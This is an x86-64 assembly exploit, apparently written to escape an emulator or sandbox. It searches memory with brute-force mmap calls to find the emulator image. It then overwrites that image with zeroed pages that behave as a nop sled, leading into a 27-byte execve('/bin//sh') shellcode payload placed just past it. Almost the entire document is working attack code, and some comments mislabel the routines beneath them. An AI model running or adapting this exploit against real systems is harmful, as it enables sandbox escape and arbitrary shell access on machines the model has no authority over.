; This is probably good place to start looking for the image
mov r14, 0x550000000000

; Start mapping to find a failing mapping, MAP_FIXED_NOREPLACE is used.
brute:
mov rsi, 0xf0000000
call Check
test eax, eax
jz done_brute
push r14
mov rsi, 0xf0000000
sub r14, rsi
call Free
pop r14
jmp brute

done_brute:

call Done

; Map page right after failing range
mov rsi, 0x2000
mov rdi, r14
mov rax, 0xf0000000
add rdi, rax
xor r9d, r9d
mov r8d, -1
mov r10d, 0x4032
mov rdx, 7
mov eax, 9
syscall

; Place payload at the start of that mapping
mov rsi, payload
mov rdi, r14
mov rax, 0xf0000000
add rdi, rax
mov rax, 0

gogo_pow:
mov dl, [rsi]
mov [rdi], dl
cmp rax, 27
jge done_pow
inc rax
inc rsi
inc rdi
jmp gogo_pow

done_pow:

; Now, map the memory which overlaps the emulator image
; This will zero out the memory, which in turn will result in the sled of instructions `add byte ptr [rax], al`
; But `rax` seems to point to an address within the range, so this will essentially turn into a "nop sled"
mov rsi, 0xf0000000
mov rdi, r14
xor r9d, r9d
mov r8d, -1
mov r10d, 0x4032
mov rdx, 7
mov eax, 9
syscall

oho:
jmp oho

Check:
	call Alloc
	test eax, eax
	jnz fail
	add r14, rsi
	call Good
	mov rax, 1
	ret
	fail:
	call NotGood
	mov rax, 0
	ret

Corrupt:
	mov rsi, 0x1000
	xor r9d, r9d
	mov r8d, -1
	mov r10d, 0x4032
	mov rdx, 7
	mov eax, 9
	syscall

	mov rax, 0
	mov rbx, 0x10000
	over:
	mov [rdi], rbx
	add rdi, 8
	add rax, 8
	cmp rax, 0x1000
	jge okok
	jmp over
	okok:

	ret

Alloc:
xor r9d, r9d
mov r8d, -1
mov r10d, 0x104022
mov rdx, 7
mov rdi, r14
mov eax, 9
syscall
ret

Free:
mov rdi, r14
mov eax, 11
syscall
ret

NotGood:
; print "mmap failed!"
  mov edx, 13
  mov esi, msgError
  mov edi, 1
  mov eax, 1
  syscall
  ret

Good:
; print "mmap failed!"
  mov edx, 9
  mov esi, msgOk
  mov edi, 1
  mov eax, 1
  syscall
  ret

Done:
; print "mmap failed!"
  mov edx, 5
  mov esi, msgDone
  mov edi, 1
  mov eax, 1
  syscall
  ret

msgOk: db "mmap ok!", 0x0A
msgError: db "mmap failed!", 0x0A
msgDone: db "done", 0x0A
payload: db 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05